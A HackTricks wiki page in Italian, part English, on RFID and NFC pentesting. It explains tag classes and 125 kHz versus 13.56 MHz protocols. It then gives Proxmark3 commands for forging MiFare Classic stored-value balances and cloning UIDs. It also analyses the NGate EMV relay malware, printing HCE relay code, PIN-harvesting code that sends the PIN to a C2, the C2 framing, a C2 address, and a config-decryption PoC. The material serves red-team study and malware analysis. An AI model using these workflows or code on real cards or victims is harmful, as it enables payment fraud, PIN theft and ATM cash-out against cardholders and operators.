Pentesting RFID

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Introduzione

Identificazione a Radiofrequenza (RFID) è la soluzione radio short-range più popolare. Viene solitamente usata per memorizzare e trasmettere informazioni che identificano un’entità.

Un tag RFID può dipendere da una propria sorgente di alimentazione (active), come una batteria integrata, oppure ricevere la sua energia dall’antenna di lettura usando la corrente indotta dalle onde radio ricevute (passive).

Classi

EPCglobal divide i tag RFID in sei categorie. Un tag in ciascuna categoria possiede tutte le capacità elencate nella categoria precedente, rendendolo retrocompatibile.

  • Class 0 tags sono passivi che operano nelle bande UHF. Il produttore li preprogramma in fabbrica. Di conseguenza, non è possibile modificare le informazioni memorizzate nella loro memoria.
  • Class 1 tags possono anche operare nelle bande HF. Inoltre, possono essere scritto una sola volta dopo la produzione. Molti Class 1 possono anche processare cyclic redundancy checks (CRCs) dei comandi che ricevono. I CRC sono alcuni byte extra alla fine dei comandi per il rilevamento degli errori.
  • Class 2 tags possono essere scritte più volte.
  • Class 3 tags possono contenere sensori integrati che registrano parametri ambientali, come la temperatura corrente o il movimento del tag. Questi tag sono semi-passivi, perché sebbene abbiano una sorgente di alimentazione integrata, come una battery integrata, non possono iniziare comunicazioni wireless con altri tag o reader.
  • Class 4 tags possono iniziare la comunicazione con altri tag della stessa classe, rendendoli active tags.
  • Class 5 tags possono fornire power to other tags and communicate with all the previous tag classi. I Class 5 possono agire come RFID readers.

Informazioni memorizzate nei tag RFID

La memoria di un tag RFID di solito memorizza quattro tipi di dati: i dati di identificazione, che identificano l’entità a cui il tag è applicato (questi dati includono campi definiti dall’utente, come conti bancari); i dati supplementari, che forniscono ulteriori dettagli sull’entità; i dati di controllo, utilizzati per la configurazione interna del tag; e i dati del produttore, che contengono l’Unique Identifier (UID) del tag e dettagli riguardo la produzione, il tipo e il vendor del tag. I primi due tipi di dati si trovano in tutti i tag commerciali; gli ultimi due possono variare a seconda del vendor del tag.

Lo standard ISO specifica il valore Application Family Identifier (AFI), un codice che indica il tipo di oggetto a cui il tag appartiene. Un altro registro importante, anch’esso specificato dall’ISO, è il Data Storage Format Identifier(DSFID), che definisce la organizzazione logica dei dati utente.

La maggior parte dei controlli di sicurezza RFID possiede meccanismi che limitano le operazioni di read o write su ogni blocco di memoria utente e sui registri speciali che contengono i valori AFI e DSFID. Questi meccanismi di lock usano dati memorizzati nella memoria di controllo e hanno password di default preconfigurate dal vendor ma permettono ai proprietari del tag di configurare password personalizzate.

Confronto tra tag a bassa e alta frequenza

Tag RFID a bassa frequenza (125kHz)

I tag a bassa frequenza sono spesso usati in sistemi che non richiedono alta sicurezza: accesso agli edifici, chiavi per citofoni, tessere per palestre, ecc. Grazie alla loro maggiore portata, sono comodi per l’uso in parcheggi a pagamento: il conducente non deve avvicinare la tessera al reader, poiché viene attivata da una distanza maggiore. Allo stesso tempo, i tag a bassa frequenza sono molto primitivi, hanno una bassa velocità di trasferimento dati. Per questo motivo, è impossibile implementare trasferimenti di dati bidirezionali complessi per cose come mantenere un saldo o la crittografia. I tag a bassa frequenza trasmettono solo il loro breve ID senza alcun mezzo di autenticazione.

Questi dispositivi si basano sulla tecnologia RFID passive e operano in un range da 30 kHz a 300 kHz, anche se è più usuale usare 125 kHz a 134 kHz:

  • Long Range — una frequenza inferiore si traduce in maggiore portata. Ci sono alcuni reader EM-Marin e HID che funzionano da una distanza fino a un metro. Questi sono spesso usati nei parcheggi.
  • Primitive protocol — a causa della bassa velocità di trasferimento dati questi tag possono solo trasmettere il loro breve ID. Nella maggior parte dei casi, i dati non sono autenticati e non sono protetti in alcun modo. Non appena la card è nel raggio del reader inizia semplicemente a trasmettere il suo ID.
  • Low security — queste card possono essere facilmente copiate, o addirittura lette dalla tasca di qualcun altro a causa della primitiveness del protocollo.

Protocolli popolari a 125 kHz:

  • EM-Marin — EM4100, EM4102. Il protocollo più popolare nella CIS. Può essere letto da circa un metro grazie alla sua semplicità e stabilità.
  • HID Prox II — protocollo a bassa frequenza introdotto da HID Global. Questo protocollo è più popolare nei paesi occidentali. È più complesso e le card e i reader per questo protocollo sono relativamente costosi.
  • Indala — protocollo a bassa frequenza molto vecchio, introdotto da Motorola e successivamente acquisito da HID. È meno probabile incontrarlo in natura rispetto ai due precedenti perché sta cadendo in disuso.

In realtà, esistono molti più protocolli a bassa frequenza. Ma usano tutti la stessa modulazione sul livello fisico e possono essere considerati, in un modo o nell’altro, una variazione di quelli elencati sopra.

Attacco

Puoi attaccare questi tag con il Flipper Zero:

FZ - 125kHz RFID

Tag RFID ad alta frequenza (13.56 MHz)

I tag ad alta frequenza sono usati per un’interazione reader-tag più complessa quando sono necessari crittografia, un ampio trasferimento dati bidirezionale, autenticazione, ecc.
Si trovano solitamente in carte bancarie, trasporto pubblico e altri pass di sicurezza.

I tag ad alta frequenza 13.56 MHz sono un insieme di standard e protocolli. Sono solitamente indicati come NFC, ma non è sempre corretto. Il set di protocolli di base usato a livello fisico e logico è ISO 14443. I protocolli di alto livello, così come standard alternativi (come ISO 19092), si basano su di esso. Molte persone si riferiscono a questa tecnologia come Near Field Communication (NFC), un termine per dispositivi che operano sulla frequenza 13.56 MHz.

Per dirla semplicemente, l’architettura NFC funziona così: il protocollo di trasmissione è scelto dall’azienda che produce le card ed è implementato in base al basso livello ISO 14443. Ad esempio, NXP ha inventato il proprio protocollo di trasmissione di alto livello chiamato Mifare. Ma al livello inferiore, le card Mifare sono basate sullo standard ISO 14443-A.

Flipper può interagire sia con il protocollo di basso livello ISO 14443, sia con il protocollo di trasferimento dati Mifare Ultralight e EMV usato nelle carte bancarie. Stiamo lavorando per aggiungere il supporto per Mifare Classic e NFC NDEF. Un’analisi approfondita dei protocolli e degli standard che compongono NFC meriterebbe un articolo separato che prevediamo di pubblicare più avanti.

Tutte le card ad alta frequenza basate sullo standard ISO 14443-A hanno un chip ID univoco. Agisce come il numero seriale della card, come l’indirizzo MAC di una scheda di rete. Di solito, l’UID è lungo 4 o 7 byte, ma può raramente arrivare fino a 10. Gli UID non sono segreti e sono facilmente leggibili, a volte perfino stampati sulla card stessa.

Ci sono molti sistemi di controllo accessi che si basano sull’UID per autenticare e concedere l’accesso. A volte questo avviene anche quando i tag RFID supportano crittografia. Tale uso improprio li porta al livello delle semplici card a 125 kHz in termini di sicurezza. Le card virtuali (come Apple Pay) utilizzano un UID dinamico in modo che i possessori del telefono non aprano porte con la loro app di pagamento.

  • Low range — le card ad alta frequenza sono specificamente progettate in modo che debbano essere posizionate vicine al reader. Questo aiuta anche a proteggere la card da interazioni non autorizzate. La portata massima di lettura che siamo riusciti a ottenere è stata circa 15 cm, e ciò è stato con reader ad alta portata fatti su misura.
  • Advanced protocols — velocità di trasferimento dati fino a 424 kbps permettono protocolli complessi con trasferimento dati bidirezionale completo. Il che a sua volta permette la crittografia, il trasferimento dati, ecc.
  • High security — le card contactless ad alta frequenza non sono in alcun modo inferiori alle smart card. Esistono card che supportano algoritmi crittografici robusti come AES e che implementano crittografia asimmetrica.

Attacco

Puoi attaccare questi tag con il Flipper Zero:

FZ - NFC

Oppure usando il proxmark:

Proxmark 3

MiFare Classic offline stored-value tampering (broken Crypto1)

When a system stores a monetary balance directly on a MiFare Classic card, you can often manipulate it because Classic uses NXP’s deprecated Crypto1 cipher. Crypto1 has been broken for years, allowing recovery of sector keys and full read/write of card memory with commodity hardware (e.g., Proxmark3).

End-to-end workflow (abstracted):

  1. Dump the original card and recover keys
# Attempt all built-in Classic key recovery attacks and dump the card
hf mf autopwn

Questo tipicamente recupera sector keys (A/B) e genera un full-card dump nella cartella client dumps.

  1. Individuare e comprendere i campi value/integrity
  • Effettuare ricariche legittime sulla carta originale e acquisire più dumps (prima/dopo).
  • Eseguire un diff dei due dumps per identificare i blocchi/byte variabili che rappresentano il balance e gli eventuali campi di integrità.
  • Molte implementazioni Classic usano l’encoding nativo “value block” o implementano checksum propri (es. XOR del balance con un altro campo e una costante). Dopo aver modificato il balance, ricalcolare di conseguenza gli integrity bytes e assicurarsi che tutti i campi duplicati/complementati siano coerenti.
  1. Scrivere il dump modificato su un tag Classic “Chinese magic” scrivibile
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. Clonare l’UID originale in modo che i terminali riconoscano la card
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. Uso ai terminali

I reader che si fidano del balance on-card e dell’UID accetteranno la card manipolata. Le osservazioni sul campo mostrano che molte implementazioni limitano i saldi in base alla larghezza del campo (es., 16-bit fixed-point).

Notes

  • If the system uses native Classic value blocks, remember the format: value (4B) + ~value (4B) + value (4B) + block address + ~address. All parts must match.
  • Per formati custom con checksum semplici, l’analisi differenziale è il modo più veloce per ricavare la funzione di integrità senza reverse-engineering del firmware.
  • Only UID-changeable tags (“Chinese magic” gen1a/gen2) allow writing block 0/UID. Normal Classic cards have read-only UIDs.

Per comandi pratici di Proxmark3, vedi:

Proxmark 3

Costruire un cloner mobile portatile HID MaxiProx 125 kHz

Se ti serve una soluzione a lungo raggio, alimentata a batteria per raccogliere badge HID Prox® durante engagement di red-team, puoi convertire il lettore da parete HID MaxiProx 5375 in un cloner autonomo che entra in uno zaino. La guida completa meccanica ed elettrica è disponibile qui:

Maxiprox Mobile Cloner

Relay NFC/EMV tramite Android Reader↔HCE Emitter

Un Classic EMV relay può essere implementato con 2 dispositivi Android: un reader lato vittima che cattura APDU e PIN in tempo reale da una carta reale, e un HCE emitter lato attacker al terminale che inoltra gli APDU a monte. Il kit NGate analizzato abusa delle legittime Android NFC APIs e di un semplice TCP C2 incorniciato per orchestrare prelievi ATM in tempo reale.

Componenti principali

  • Reader-mode app (victim): usa le NFC reader APIs per parsare EMV (PAN/scadenza/AIDs), visualizza lo scheme per AID, richiede il PIN ed esfiltra immediatamente.
  • Emitter-mode app (ATM side): implementa Host Card Emulation (HCE) con android:requireDeviceUnlock="false" e un payment AID; processCommandApdu() inoltra gli APDUs al C2 e restituisce una risposta minima.
  • Wire protocol: frame con prefisso di lunghezza, keepalive periodico; opzionalmente TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

Esempio hce.xml (no unlock + payment AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

Endpoint di relay trasparente (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

Inferenza dello schema EMV tramite AID (esempi)

  • A000000004 → Mastercard
  • A000000003 → Visa
  • A000000658 → MIR
  • A000000333 → UnionPay

Schema di raccolta PIN (interfaccia utente della vittima)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (esempio in cleartext)

  • Client→Server: int32 len | int32 opcode | body
  • Server→Client: int32 len | body (opcode all’interno del payload)
  • Rifiuta bodies > ~100 MiB; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Occultamento della config: XOR derivato dal certificato

  • La libreria nativa deriva una chiave a 32 byte come SHA‑256 del certificato di firma dell’app (DER).
  • La config C2 è in ASCII‑hex negli assets (es., assets/____), decodificata dall’hex e XOR-ata con la chiave che si ripete ogni 32 byte:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

PoC offline per decriptare la config

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"

import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

Esempi di campi decriptati: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

Catena di relay (end-to-end)

  1. Victim installa l’APK, apre l’app → native init decripta la config dagli assets.
  2. L’app si connette al C2 (es., 91.84.97.13:5653) usando framed TCP; keepalive ~7s.
  3. Victim avvicina la card → il reader estrae PAN/expiry/AIDs e invia CARD_DISCOVERED.
  4. Victim inserisce il PIN → il keypad pubblica e exfiltrates via PIN_REQ; il server risponde VALID/INVALID solo per la UI.
  5. Attacker device al terminal esegue HCE emitter che relays gli APDUs verso l’ATM e effettua il cash-out.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks